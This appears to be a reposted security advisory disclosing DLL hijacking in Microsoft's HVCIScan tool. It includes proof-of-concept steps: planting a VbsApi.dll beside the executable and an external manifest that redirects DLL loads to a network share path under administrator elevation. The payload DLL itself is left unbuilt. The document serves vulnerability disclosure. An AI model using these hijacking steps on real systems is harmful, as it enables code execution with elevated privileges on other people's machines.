Microsoft HVCIScan DLL Hijacking

CVE Category Price Severity
CVE-2021-31929 CWE-428 $3,000 High
Author Risk Exploitation Type Date
John Doe High Local 2023-06-13
Our sensors found this exploit at:

Below is a copy:

Microsoft HVCIScan DLL Hijacking
Hi @ll,

about a month ago Microsoft published HVCIScan-{amd,arm}64.exe, a
"Tool to check devices for compatibility with memory integrity (HVCI)"

The "Install instructions" on the download page
<> tell:

| Download the hvciscan.exe for your system architecture (AMD64 or ARM64).
| From an elevated command window or PowerShell, run hvciscan.exe

"ELEVATED" sounds good, especially when such a vulnerable tool is run
from the "Downloads" folder, where a file HVCIScan_amd64.exe.manifest,
HVCIScan_arm64.exe.manifest or VBSAPI.dll can be placed via "drive-by"
download or by the (unsuspecting) unelevated user who still abuses the
"protected administrator" account created during Windows setup.

Oops, one step back: how did I determine
a) that HVCIScan-*.exe is vulnerable
b) these filenames?

Open an UNELEVATED command window and run
then inspect the output.

| Dump of file HVCIScan_amd64.exe
|   Image has the following dependencies:
|     KERNEL32.dll
|     msvcrt.dll
|     VbsApi.dll
|   Section contains the following load config:
|                 0000 Dependend load flags
|   Summary
|         1000 .data
|         1000 .pdata
|         2000 .rdata
|         1000 .reloc
|         1000 .text

OUCH: the guys at M$FT built these tools without embedded "application
      manifest" (which would have been placed in a ".rsrc" section),
      so Windows will apply an external "application manifest", and
      without /DEPENDENTLOADFLAG:2048, so Windows will search dependent
      DLLs not listed as "Known DLL" in the "application directory"

Both omissions^WBEGINNER'S MISTAKES allow to load and execute ARBITRARY
DLLs from ARBITRARY paths that run with the (ELEVATED) credentials of
the application!

"Trustworthy Computing" anyone? Or "Security Development Lifecycle"?

Proof of concept #1:

a) Open an UNELEVATED command window in the directory where you saved
   HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe

b) Create an empty file VbsApi.dll next to the executable:

   COPY NUL: VbsApi.dll

c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
   message that VbsApi.dll can't be loaded.

Building a VbsApi.dll with the exports required by HVCIScan-a??64.exe
to actually load and execute VbsApi.dll is left as an exercise to the

See <> if you
need help.

Proof of concept #2:

a) Create the text file HVCISCAN_amd64.exe.manifest respectively
   HVCISCAN_arm64.exe.manifest with the following content next to
   HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe:

--- HVCISCAN_a??64.exe.manifest ---
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
    <file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="KERNEL32.dll" />
    <file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="msvcrt.dll" />
    <file loadFrom="\\SERVER\SHARE\arbitrary.dll" name="VbsApi.dll" />
    <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
                <requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
--- EOF ---

   Replace the UNC path \\SERVER\SHARE\arbitrary.dll with any local or
   remote path where you can create the specified file.

   NOTE: the section "trustInfo" is optional.

   NOTE: KERNEL32.dll and MSVCRT.dll are "Known DLLs".

b) Create an empty file arbitrary.dll in the specified network share or
   local directory:

   COPY NUL: \\SERVER\SHARE\arbitrary.dll

c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
   message that a required DLL or an entry point is not found.

Building \\SERVER\SHARE\arbitrary.dll with the exports required by
HVCIScan-a??64.exe to actually load and execute arbitrary.dll is left
as an exercise to the reader.

stay tuned, and far away from "tools" made in Redmond
Stefan Kanthak

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